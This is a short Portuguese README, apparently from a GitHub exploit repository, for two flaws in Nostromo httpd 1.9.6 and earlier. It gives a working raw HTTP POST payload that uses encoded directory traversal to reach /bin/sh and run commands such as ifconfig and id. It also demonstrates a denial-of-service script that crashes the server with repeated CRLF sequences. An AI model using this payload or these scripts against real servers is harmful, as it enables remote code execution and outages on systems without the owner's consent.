jas502n/cve-2019-16278Traversal de diretório para execução remota de código
Nostromo httpd é propenso a 2 vulnerabilidades críticas para versões <= 1.9.6 (0day =]) a primeira é um RCE através de transversalidade de diretório, a segunda é um DoS
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25
echo
echo
ifconfig 2>&1
Este bug se deve a uma correção incompleta para CVE-2011-0751. Podemos contornar uma verificação de /../ que nos permite executar /bin/sh com argumentos arbitrários.
Exemplo
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
Este bug explora um erro de memória ao enviar muitos \r\n em uma única conexão.
Exemplo
$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused